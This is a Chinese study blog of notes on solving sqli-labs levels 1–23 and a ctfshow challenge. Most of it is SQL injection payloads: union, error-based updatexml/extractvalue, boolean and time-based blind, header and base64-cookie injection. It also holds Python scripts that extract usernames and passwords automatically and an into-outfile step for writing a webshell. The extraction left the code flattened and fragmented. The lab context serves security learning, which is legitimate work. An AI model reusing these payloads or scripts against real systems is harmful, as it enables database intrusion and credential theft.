sql-labs 学习笔记 sql-labs less-1 字符型
1 select * from users where id ='$get_id'
在url中直接使用’#’会被url解析，导致传入服务器的不为’#’所以使用‘- - +’
拼入sql查询
1 select * from users where id ='1' '
回显：
KIMI：
这个错误信息表明你的SQL语句中存在语法问题，具体问题出现在’1’附近，可能是因为SQL语句的拼接方式不正确，或者某些部分的格式不符合MySQL的语法规则。
单引号的使用：错误信息中提到’1’，这表明SQL语句中可能有多余的单引号，或者单引号的使用方式不正确。
LIMIT子句的格式：LIMIT 0,1是正确的语法，但错误信息表明它可能与前面的语句拼接不当。
注入攻击：如果’1’是用户输入的一部分，那么这可能是SQL注入攻击的迹象。
LIMIT 0,1 是 SQL 语句中用于限制查询结果数量的子句，特别是在 MySQL 数据库中。
1 2 3 4 语法格式：offset , count offset ：表示从结果集的第几条记录开始提取（从 0 开始计数）。count ：表示提取的记录数量。
回显有数字判断为字符型
记得用‘-1’来使得前面对‘-1’的查询出现null的结果免得使用‘1’查询出的结果会将后面的查询覆盖，由刚才的：
1 2 3 4 LIMIT 0 ,1 0 ：表示从结果集的第一条记录开始（即跳过 0 条记录）。1 ：表示只提取一条记录。LIMIT 0 ,1 的作用是从查询结果中提取第一条记录。
测试回显行列
1 2 3 ?id=-1 'order by 4 1 'union select 1 ,2 ,3
查询当前库
1 ?id=-1 'union select 1 ,2 ,database()
后面的paylaod
1 2 3 ?id =-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security' --+id =-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' --+id =-1'union select 1,2,group_concat(id,username,password) from users --+
在博客园和csdn有很多详细解释，只记下自己不明白去查询的点以防以后忘记
我的新知识点 group_concat //将查询到的表的数据结果拼接起来
union select //联合查询，能将同时查询 1,2,3 个
information_schema //在SQL中，INFORMATION_SCHEMA 是一个特殊的数据库，它存储了数据库管理系统（DBMS）的元数据信息。这些元数据包括数据库的结构、表的信息、列的定义、用户权限、存储过程等。
INFORMATION_SCHEMA 提供了一种标准化的方式来访问数据库的元数据信息。它类似于一个“数据库的数据库”，帮助用户了解数据库的内部结构和配置。通过查询 INFORMATION_SCHEMA 中的表，用户可以获取以下信息：
数据库中有哪些表（INFORMATION_SCHEMA.TABLES）。
每个表有哪些列（INFORMATION_SCHEMA.COLUMNS）。
数据库的用户权限（INFORMATION_SCHEMA.USER_PRIVILEGES）。
数据库的字符集和校对规则（INFORMATION_SCHEMA.CHARACTER_SETS）。
存储过程和函数的定义（INFORMATION_SCHEMA.ROUTINES）。
数据库的表分区信息（INFORMATION_SCHEMA.PARTITIONS）。
数据库的外键约束信息（INFORMATION_SCHEMA.KEY_COLUMN_USAGE）。
我看我目前用到的是下面：
(1) INFORMATION_SCHEMA.TABLES
(2) INFORMATION_SCHEMA.COLUMNS
搭配 where 来使用
回顾刚才的payload
1 2 ?id=-1 'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=' security '--+ ?id=-1' union select 1 ,2 ,group_concat(column_name ) from information_schema.columns where table_name ='users'
less-2 新知识点 数字型注入的sql语句
后端代码 例
1 2 "selcet * from users where id=$get_id "
与字符型的区别是将用户输入内容：
直接拼接到sql语句中。
对比字符型sql语句
1 select * from users where id ='$get_id'
所以不需要使用 “ ‘ “ 来构建新的查询，也不需要 ‘#’ 或者 ‘–+’来将后面的语句注释掉，如果带密码则需要注释吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ?id=1 order by 3 -1 union select 1 ,2 ,3 -1 union select 1 ,database (),version()-1 union select 1 ,2 ,group_concat(table_name ) from information_schema.tables where table_schema='security' -1 union select 1 ,2 ,group_concat(column_name ) from information_schema.columns where table_name ='users' -1 union select 1 ,2 ,group_concat(username ,id , password ) from users-02 date : 2025 -02 -27 18 :26 :18 sql -labssql -labs less-3
?id=1’
1 2 3 4 回显L syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'') LIMIT 0,1' at line 1
select * from users where id=(‘$id’)
?id=1’) –+
select * from users where $id=(‘1’)–+)
1 2 3 4 如此一来成功闭合sql查询，后面就按流程走ok了## 新知识点 ***并和括号* **
select * from users where id=(‘$id’)
1 2 3 4 5 6 # sql-labs less-4
?id=1”)
1 2 3 4 5 6 回显：an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1
select * from users where id=(“$id”)
?id=-1”) union select 1,2,3 –+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 # # sql-labs less5 > ?id =1 > ?id =2 > You are in ........... > You are in ........... > ?id =1' > You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '1' ' LIMIT 0,1' at line 1
select * from users where id=’$get_id’
1 2 3 4 5 6 7 8 9 10 11 xml 报错回显的注入sql 中的 and if true ,false ）然后用if ()设置不同的反应，根据反应来判断布尔的值来判断注入查询的数据是否存在吧
length函数用法
MySQL：LENGTH 返回字节长度，CHAR_LENGTH 返回字符长度。
PostgreSQL/SQLite/Oracle：使用 CASE 语句。
SQL Server：使用 CASE 语句或 IF…ELSE 语句。
1 2 3 4 5 if ()语句的用法：
MySQL：IF(expr, true_expr, false_expr)
PostgreSQL/SQLite/Oracle：使用 CASE 语句。
SQL Server：使用 CASE 语句或 IF…ELSE 语句。
1 2 3 4 5 6 7 8 9 in ... ... ... ..来判断； and if sleep的时间延迟来判断；'security' 为8 个字符；
?id=1’ and if(length(database())=8,sleep(5),1)–+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 length 判断当前所在数据库的名字长度，8 ，则让回显延迟5 秒，此时因为使用了and ，and 的右边无法满足布尔值为真，所以不会有回显if 返回1 ，让and 的两边满足全为真，使得服务器返回‘you are in......’if 函数和sleep 函数, sleep ()函数是让回显延迟指定的时间吧； 8 个字符，也就是'security' 1 ' and if(length(database())=' security',sleep(5),1)--+id=1' and if (length (database())='security' ,sleep (5 ),1 )--+length ()函数只会返回整型数值，而我要用它来对比字符串😅 substr ()函数**
SUBSTR(string, start, length)
string：原始字符串。
ASCII(character_expression)
character_expression：可以是单个字符、字符串字面值或列名。该参数必须是字符类型（如 CHAR 或 VARCHAR）。
?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1)–+
?id=1’ and if(substr(database(),1,8)=’security’,sleep(5),1)–+
1 2 3 4 5 6 7 确实能直接猜测字符了!... ...
import requestshttp://localhost:32768/Less-5/ “ // 目标URL
//发送请求
// 主函数
// 获取表名
table_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())={table_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
table_count += 1
print(f"[+] 表数量: {table_count}")
// 获取所有表名
table_names = []
for i in range(table_count):
tbl_length = get_length(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)")
tbl_name = get_string(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)", tbl_length)
table_names.append(tbl_name)
print(f"[+] 表名: {tbl_name}")
// 获取字段名（以users表为例）
target_table = "users" // 替换为目标表名
print(f"[+] 获取{target_table}表的字段...")
field_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE())={field_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
field_count += 1
print(f"[+] 字段数量: {field_count}")
// 获取字段名
field_names = []
for i in range(field_count):
fld_length = get_length(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)")
fld_name = get_string(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)", fld_length)
field_names.append(fld_name)
print(f"[+] 字段名: {fld_name}")
// 获取数据
print(f"[+] 获取{target_table}表的数据...")
for i in range(field_count):
if field_names[i] in ["username", "password"]: // 获取用户名和密码字段
print(f"[+] 获取字段: {field_names[i]}")
data_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM {target_table})={data_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
data_count += 1
print(f"[+] 数据条数: {data_count}")
for j in range(data_count):
data_length = get_length(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)")
data = get_string(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)", data_length)
print(f"[+] 数据[{j+1}]: {data}")
if name == “main “:
1 2 3 ascii 码的
sr = string.printable
1 2 3 4 5 因为我也不敢确定ai给出的字符是完整且编码正确的
[+] 长度为: 8
1 2 3 ### bp盲注爆破if 函数来构造payload
?id=1’and substr(database(),1,1) =’s’–+
1 2 3 4 5 6 7 8 9 10 11 能达到同样效果xml 报错注入sql 报错信息输出的前提下（存在print_r(mysql_error())函数）5.1 ）中添加了对xml 文档进行查询和修改的函数update 函数：
UPDATEXML(xml_target, xpath_expr, new_xml)
xml_target：要更新的XML文档。
EXTRACTVALUE(xml_target, xpath_expr)
1 2 3 4 5 6 7 8 9 原理是用xpath 的非法字符报错XPath 表达式来定位或提取节点。如果XPath 表达式不符合语法规范，MySQL会返回错误信息。攻击者可以利用这一特性，通过拼接恶意的XPath 表达式，使数据库报错，并在错误信息中泄露敏感数据。 1 .判断闭合点 2 .判断是否存在xml报错注入：
?id=1’ and updatexml(1,0x7e,1) –+
1 2 3 4 5 成功回显> XPATH syntax error : '~'
?id=1’ and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) –+
1 2 3 4 5 6 7 8 9 10 >爆库名***note** * _concat有什么区别,问了kimi， ***我总结就是concat用来拼接字符串，group_ concat用来拼接表中的内容***
?id=1’and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)–+
1 2 3 >XPATH syntax error : '~emails,referers,uagents,users~'
?id=1’and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=’users’),0x7e),1)–+
1 2 3 >XPATH syntax error : '~id ,username,password~'
http://localhost:32768/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20group_concat(id,username,password)from%20users),0x7e),1)--+
1 2 3 >XPATH syntax error: '~1 DumbDumb,2 AngelinaI-kill-you,3 ' xpath 报错有长度限制，改为：
?id=1’and updatexml(1,concat(0x7e,(select group_concat(id,username,password)from users limit 0,1),0x7e),1)–+
1 2 3 4 发现limit 的值改变了依然没结果，看了眼csdn，发现group_concat要改为concat ， limit 是限制输出的行在哪，如(0 ,1 )就会限制为从第一行开始提取一列，但是用group_concat，会将一整个表整合为一行，限制就没用了。
?id=1’and updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1)–+
1 2 3 users 表中内容就行了。
sql-labs less6 和less5原理一样
1 select * from users where id ="$get_id "
闭合payload改为
即可
less7 需要先设置mysql的文件读写权限：
Windows的配置文件在mysql下的my.ini
怎么找也找不到，最后问了卡密，在/etc/mysql中找到了；
看网上的解法写点笔记： 先判断注入类型，没有sql错误回显的情况就不断猜测闭合语句，能正确闭合不报错就表示闭合成功
因为用 ‘ 打破’’闭合但是没用猜对全部闭合的话会一直提示sql语法错误，能完成闭合并且并且不报错就为完全猜对。
然后用联合查询
url 中反斜杠\会被当作转义字符处理所以要用两个反斜杠来传入
写马
?id=1’)) union select 1,2,’‘ into outfile “C:\phpStudy\WWW\sqli\Less-7\test.php” – #
这里的路径不是我的环境
另一种解法，用写文件的权限在服务的less7题目目录写txt访问爆库结果
在sql中能用‘@@datadir’ 返回数据库的绝对路径，随后猜测网站的绝对路径
将查询到的当前用户和数据库名称写入到题目目录下的1.txt随后访问就能看到查询结果
1 ?id=-1')) union select 1 ,user (),database (), into outfile "题目目录\\1.txt" --+
然后就是标准操作
1 ?id =-1 ')) union select 1 ,2 ,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "题目目录\\2.txt"
我想，因为不用担心回显界面问题所以也可以不用group_concat,union等，前面两个的查询也是一样
1 ?id =-1 ')) select table_name from information_schema.tables where table_schema='security' into outfile "题目目录\\3.txt"
爆字段
1 ?id =-1 ')) select column_name from information_schema.columns where table_name='users' into outfile "题目目录\\4.txt"
其实我看没有了回显页面的限制，不用爆字段也行，直接爆表就得：
1 ?id =-1 ')) select * from users into outfile "题目目录\\5.txt"
这里写入文件的时候，需要注意的是利用数据库file权限向操作系统写入文件时，对于相同文件名的文件不能覆盖，所以如果第一次上传1.txt，下次再上传1.txt，就是无效命令了，也就是新的1.txt中的内容并不会覆盖之前的1.txt
https://blog.csdn.net/m0_46315342/article/details/106557552
修正sql-labs-less7错误 实现了win下phpstudy部署sqli，自己做了一遍less7，发现了select和union select的问题，
为什么
KIMI:
为什么UNION SELECT是关键？ 数据库的执行逻辑决定了这一切 权限和路径不是问题
原来联合注入漏洞叫联合
less-8 该题测试没有报错回显，只有登录是否成功回显
1 2 3 4 5 python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch --dbs
less5脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import requests"http://localhost/sqli-labs/Less-8/" "You are in..........." "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@$!" "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" def send_payload (payload ):f"{TARGET_URL} ?id=1' AND {payload} --+" return response.textdef get_length (query ):0 while True :f"LENGTH({query} )={length} " if TRUE_STRING in response:print (f"[+] 长度为: {length} " )return length1 def get_string (query, length ):"" for i in range (1 , length + 1 ):print (f"[+] 获取第 {i} 个字符..." )for char in CHARSET:f"SUBSTR({query} ,{i} ,1)='{char} '" if TRUE_STRING in response:print (f"[+] 当前结果: {result} " )break return resultdef main ():"DATABASE()" )"DATABASE()" , db_length)print (f"[+] 数据库名: {db_name} " )0 while True :f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())={table_count} " if TRUE_STRING in response:break 1 print (f"[+] 表数量: {table_count} " )for i in range (table_count):f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i} ,1)" )f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i} ,1)" , tbl_length)print (f"[+] 表名: {tbl_name} " )"users" print (f"[+] 获取{target_table} 表的字段..." )0 while True :f"(SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{target_table} ' AND table_schema=DATABASE())={field_count} " if TRUE_STRING in response:break 1 print (f"[+] 字段数量: {field_count} " )for i in range (field_count):f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table} ' AND table_schema=DATABASE() LIMIT {i} ,1)" )f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table} ' AND table_schema=DATABASE() LIMIT {i} ,1)" , fld_length)print (f"[+] 字段名: {fld_name} " )print (f"[+] 获取{target_table} 表的数据..." )for i in range (field_count):if field_names[i] in ["username" , "password" ]: print (f"[+] 获取字段: {field_names[i]} " )0 while True :f"(SELECT COUNT(*) FROM {target_table} )={data_count} " if TRUE_STRING in response:break 1 print (f"[+] 数据条数: {data_count} " )for j in range (data_count):f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j} ,1)" )f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j} ,1)" , data_length)print (f"[+] 数据[{j+1 } ]: {data} " )if __name__ == "__main__" :
顺便学习一下ctfshow web8 的脚本：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requests'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/' '' for i in range (1 , 45 ):'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d' 0 print ('正在获取第 %d 个字符' % i)for j in range (31 , 128 ):if 'If' in result.text:chr (j)print ('数据库名/表名/字段名/数据: %s' % name)break 1 if count >= (128 - 31 ):
https://blog.csdn.net/wangyuxiang946/article/details/120115458
sql-labs-less9 题目说了是单引号闭合，然后怎么尝试都返回
You are in………..
没有登录是否成功回显，没有sql报错回显
来构造payload,例如：
1 ?id= 1 ' and if(substr(database(),1,1)=' s',1,sleep(2)) --+
意思是如果数据库第一个字符为’s’，则返回1（true）,否则则延迟回显
KIMI：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsimport time"abcdefghijklmnopqrstuvwxyz0123456789_@.-" 1 "http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+" def inject (path ):if response.status_code == 200 and end - start > SLEEP_TIME:return True else :return False def extract_data (sql ):"" 0 while True :1 format (sql=sql, position=position, char="" , time=SLEEP_TIME))if res:break for char in ALPHABET:format (sql=sql, position=position, char=char, time=SLEEP_TIME))if res:break return sprint (extract_data("database()" ))print (extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'" ))print (extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'" ))print (extract_data("select group_concat(username,'~',password) from users" ))
叫kimi加了注释，自己小改了一下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requests import time ",abcdefghijklmnopqrstuvwxyz0123456789_@.-" 1 "http://localhost/sqli-labs/Less-9/?id=1' and if(substr(({sql}),{position},1)='{char}',sleep({time}),1)--+" def inject (path ):if response.status_code == 200 and end - start > SLEEP_TIME:return True else :return False def extract_data (sql ):"" 0 while True :1 format (sql=sql, position=position, char="" , time=SLEEP_TIME))if res:break for char in ALPHABET:format (sql=sql, position=position, char=char, time=SLEEP_TIME))if res:break return s "database()" )print (database) "select group_concat(table_name) from information_schema.tables where table_schema='%s'" % database)print (tables)"select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'" )print (columns)
我发现把逗号放最前面就不容易丢逗号了。
less10 就是把less9的单引号闭合改为双引号闭合：
1 ?id= 1 " and if(substr(database(),1,1)='s',1,sleep(2)) --+
sql-labs-less11 以前ctf练习题反而是post模式做的多些，
注意原先请求的值要改为数据库不存在的值免得将后面的查询结果覆盖
hackbar下的结构
1 uname=1'union select user(),database()#&passwd=&submit=Submit
之后的注入拼接进uname后
爆用户和库名：
1 1' union select user (),database ()#
爆表名：
1 1'u nion select user (),group_concat (table_name ) from information_schema.tables where table_schema ='security' #
爆字段：
1 2 1'u nion select user (),group_concat (column_name ) from information_schema.columns where table_name ='users' and table_schema='security' # and 后面的话好像会把其它库的同名表下的字段爆出来
最后爆库：
1 1'union select user (),group_concat(id,username,password ) from users#
less12 应该是加了检查，password不能为空
1 uname =1&passwd=1") or true #&submit =Submit
回显
Your Login name:Dumb
成功闭合sql查询,然后走流程通关。
less-13 只有登录成功回显，没其它信息
错误注入 payload
1 uname=1&passwd=1') or updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit
布尔盲注 因为有登录成功反馈，可以使用布尔盲注
1 uname= 1 & passwd= 1 ') or if(length(database()=8),0,1)#&submit=Submit
太菜了写不出脚本，使用sqlmap,或者bp来爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requests"http://localhost/sqli-labs/Less-13/" """a') or length( (database()) ) ={n} -- a""" """a') or ascii( substr( (database()) ,{l},1) ) ={n} -- a""" "uname" : "a') or 1 -- a" ,"passwd" : "1" ,"submit" : "Submit" def getLen (payload_len ):1 while True :"uname" ] = payload_len.format (n = length)if '../images/flag.jpg' in response.text:print ('测试成功，长度为：' , length)return length;else :print ('正在测试长度：' , length)1 def getStr (length ):str = '' for l in range (1 , length+1 ):for n in range (32 , 126 ):"uname" ] = payload_str.format (l=l, n=n)if '../images/flag.jpg' in response.text:str += chr (n)print ('第' , l, '个字符枚举成功：' ,str )break
可以换database()来实现其它注入,less13用单引号，less14用双引号https://blog.csdn.net/wangyuxiang946/article/details/118094895
less-14 换了闭合点，可以按less13的方式解：
1 uname =1&password=1" or true #&submit =Submit
less-15 没有报错回显，无法用报错注入，只能用布尔盲注
1 uname= 1 & password= 1 ' or true#&submit=Submit
sql-labs-less16 先找一下注入点
1 uname= 1 & passwd= 1 ") or true#&submit=Submit
尝试报错注入，无果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import requests"http://localhost/sqli-labs/Less-16/" """a") or length( (select group_concat(table_name) from information_schema.tables where table_schema='security')) ={n} -- a""" """a") or ascii( substr( (select group_concat(table_name) from information_schema.tables where table_schema='security'),{l},1)) ={n} -- a""" "uname" : "a“ or 1 -- a" ,"passwd" : "1" ,"submit" : "Submit" def getLen (payload_len ):1 while True :"uname" ] = payload_len.format (n = length)if '../images/flag.jpg' in response.text:print ('测试成功，长度为：' , length)return length;else :print ('正在测试长度：' , length)1 def getStr (length ):str = '' for l in range (1 , length+1 ):for n in range (32 , 126 ):"uname" ] = payload_str.format (l=l, n=n)if '../images/flag.jpg' in response.text:str += chr (n)print ('第' , l, '个字符枚举成功：' ,str )break
by：https://blog.csdn.net/wangyuxiang946/article/details/118094895
less17 输入正确的账户和密码：admin，admin
报错注入 1 2 3 1 ' and updatexml(1 ,concat(0x7e ,(select group_concat(id ,username,password) from users),0x7e ),1 )1 ' and extractvalue(1 , concat(0x7e ,(select group_concat(id ,username,password) from users),0x7e ))
回显
You can’t specify target table ‘users’ for update in FROM clause
看来是不能直接爆表
原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面，所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
此payload创建了新的临时表x来避免对正在更新的users表进行直接查询
1 123456 ' and extractvalue(1,concat(0x7e,(select * from(select concat(username,' :',password) from users limit 0,1)x)))#
KIMI:
1 2 3 4 5 6 7 ' OR (updatexml(1,concat(' ! ',(SELECT concat_ws(' :',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))# ``` updatxml() ```sql updatexml(1, concat(' ! ', data), 1) 如果data是一个查询结果，那么当updatexml()函数执行时，会因为xpath_expr不符合要求而报错， 错误信息中会包含data的内容。
数据查询部分：
1 SELECT concat_ws(':' , username, password) FROM (SELECT username, password FROM users)text LIMIT 0 ,1
功能：
SELECT username, password FROM users：从users表中查询username和password字段。
执行过程：
闭合原语句并注入逻辑： OR操作使得注入的语句能够被执行。
group by报错注入 不想看了，反正先知道有这个group by报错注入
函数说明,错误说明 concat_ws() 语法：concat_ws(separator, str1, str2, …, strN)
1 2 SELECT concat_ws(':' , '用户名' , '密码' , '邮箱' );
1’ and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#
回显
Incorrect parameter count in the call to native function ‘extractvalue’
KIMI：
extractvalue(xml_target, xpath_expression)
它只接受两个参数：
extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)
你传递了三个参数给extractvalue()函数，这显然不符合它的定义，因此mysql会报错，提示参数数量不正确。
1’ and extractvalue(1, concat(0x7e,(select group_concat(id,username,password) from users),0x7e))#
这里只传递了两个参数给extractvalue()函数，符合它的定义，因此不会出现参数数量错误的问题。
派生表 1 2 (... ...)wordSELECT username, password FROM users)text #为派生表text
less18 可能是叫做报头注入 在有头部回显的状况下用
如图payload
1 User-Agent : ' or updatexml(1,concat('!',(database())),1),2,3)#
因为源码里有检查三个参数，所以要输入三个参数，或者用
1 2 3 4 5 ' or extractvalue(1,concat(0x7e,database())) or'
前后两端的’是为了闭合原有的单引号中间用and，or等连接即可。
闭合单引号：通过’闭合原SQL语句中的单引号，确保语法正确。
使用or：or用于确保即使原语句的条件不成立，我们的注入语句仍然会被执行。
注入extractvalue()：extractvalue()函数被用来触发报错，concat(0x7e,database())将数据库名称与一个波浪号（0x7e是波浪号的十六进制表示）拼接，从而在报错信息中回显出数据库名称。
闭合表达式：通过or ‘’闭合整个表达式，确保语法正确。
最终payload
1 2 3 User -Agent: ' or extractvalue(1 ,concat('!',(select concat(username,2 ,password)from users limit 0 ,1 ))),1 ,1 )#User -Agent: ' or extractvalue(1 ,concat(0 x7e,database())),1 ,1 )#
为什么要用 or 或 and 连接:
因为使用了报错注入，所以需要使用or或and来闭合原语句并插入的注入语句。
less19 头部注入-Referer 后端可以注入的语句
1 $insert ="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent ', '$IP ')" ;
相比上一关只有两个参数，所以可以这样
1 2 3 4 5 6 7 8 9 Referer : ' or updatexml(1,concat('!',(databass())),1),2)# //爆数据库Referer : ' or updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1),2)# //爆表名Referer : ' or updatexml(1,concat('!',(select concat(column_name)from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)),1),2)# Referer : ' or updatexml(1,concat('!',(select concat(id,username,'!',password)from users limit 0,1)),1),2)#
1 Referer : ' or extractvalue(1,concat(0x7e,database())) or'
less20 题目提示cookie注入，登录正确的账户名出现以下界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /sqli-labs/Less-20/index.php HTTP/1.1 Host : localhostCache-Control : max-age=0sec-ch-ua : "Not(A:Brand";v="24", "Chromium";v="122"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://localhost/sqli-labs/Less-20/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : uname=adminConnection : close
cookie只有一个unmae？
发现注入点
1 Cookie: uname='union select 1 ,2 ,group_concat(id,username,'!' ,password ) from users#
可能是该后端代码造成了注入
1 $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0 ,1 ";
less-21 根据题目提示先登正确账户密码吗，然后bp抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /sqli-labs/Less-21/index.php HTTP/1.1 Host : localhostCache-Control : max-age=0sec-ch-ua : "Not(A:Brand";v="24", "Chromium";v="122"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://localhost/sqli-labs/Less-21/index.phpAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : uname=YWRtaW4%3DConnection : close
看到cookie中uname明显不是用来登录的admin,是admin经过base64加密后的字符
1 Cookie : uname=YWRtaW4%3D
用赛博厨子解出来尽然是
1 2 3 YWRtaW4%3D
怀疑是后面%3D是url字符，
1 2 3 YWRtaW4n
最后测出闭合语句
1 2 3 uname=YWRtaW4nKSM=
最后payload
1 Cookie : uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoaWQsdXNlcm5hbWUsJyEnLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==
less-22 和上题解法一样，就是换了闭合点
最终payload
1 Cookie : uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChpZCx1c2VybmFtZSwnIScscGFzc3dvcmQpIGZyb20gdXNlcnMj
less-23 看题目，
1 2 3 4 5 6 7 $ reg = "/#/" ; $ reg1 = "/--/" ; $ replace = "" ; $ id = preg_replace($reg , $replace , $id );$ id = preg_replace($reg1 , $replace , $id );$ sql="SELECT * FROM users WHERE id='$id ' LIMIT 0,1" ;
闭合点是’
采用闭合的方式： 1 ?id=' or extractvalue(1,concat(0x7e,database())) or'
好像是拼入源码会变成
1 $sql ="SELECT * FROM users WHERE id='' or extractvalue(1,concat(0x7e,database())) or'' LIMIT 0,1" ;
对比
1 2 3 4 $sql ="SELECT * FROM users WHERE id=''union select #' LIMIT 0,1" ;$sql ="SELECT * FROM users WHERE id=''union select' LIMIT 0,1" ;
采用;%00替换注释 采用;%00替换注释：
%00 是 URL 编码的空字符（\x00）
组合 ;%00 的完整逻辑
结束当前语句：分号 ; 终止 UNION SELECT 查询。
